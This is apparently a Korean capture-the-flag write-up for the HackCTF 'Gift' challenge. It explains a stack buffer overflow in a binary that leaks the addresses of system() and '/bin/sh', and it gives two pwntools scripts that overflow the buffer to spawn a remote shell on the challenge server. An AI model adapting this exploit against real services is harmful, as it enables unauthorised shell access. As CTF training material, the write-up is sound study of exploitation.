HACKCTF - Gift

문제 화면

 

처음 시작하면 gift화면을 하나 주는데 이를 실행하면

 

 

실행화면

 

hihi <-- 입력

hihi <-- 출력

1234 <-- 입력

 

주소 두개를 주고,  하나 입력받아서 던져주고, 다시 하나를 입력받는 구조입니다.

 

ida로 해당 부분을 살펴보면

 

ida main

 

주소 두개가 1. binsh 2. system이렇게 두개를 주네요.

그러면 바로 12번줄에서 bof가 발생하니 익스를 작성하면

 

 

from pwn import *
 
r = remote("ctf.j0n9hyun.xyz", 3018)
e = ELF("./gift")
context.log_level = "debug"
 
r.recvuntil("are: ")
 
binsh = int(r.recv(10), 16)
system = int(r.recv(11), 16)
 
log.info("binsh = " + hex(binsh))
log.info("system = " + hex(system))
payload = ""
payload += "A"*0x84+"A"*0x4
payload += p32(system)
payload += "A"*0x4
payload += p32(binsh)
 
r.sendline("1234")
r.recv()
 
 
r.sendline(payload)
r.interactive()

 

from pwn import *
 
r = remote("ctf.j0n9hyun.xyz", 3018)
e = ELF("./gift")
context.log_level = "debug"
 
r.recvuntil("are: ")
 
gets_add = 0x80483d0
pr = 0x0804866b
binsh = int(r.recv(10), 16)
system = int(r.recv(11), 16)
 
r.sendline("1234")
 
log.info("geets_add = " + hex(gets_add))
log.info("binsh = " + hex(binsh))
log.info("system = " + hex(system))
 
payload = ""
payload += "A"*0x84+"A"*0x4
payload += p32(gets_add)
payload += p32(pr)
payload += p32(binsh)
 
payload += p32(system)
payload += "A"*0x4
payload += p32(binsh)
 
r.recv()
r.sendline(payload)
r.sendline("/bin/sh\00")
 
 
r.sendline(payload)
r.interactive()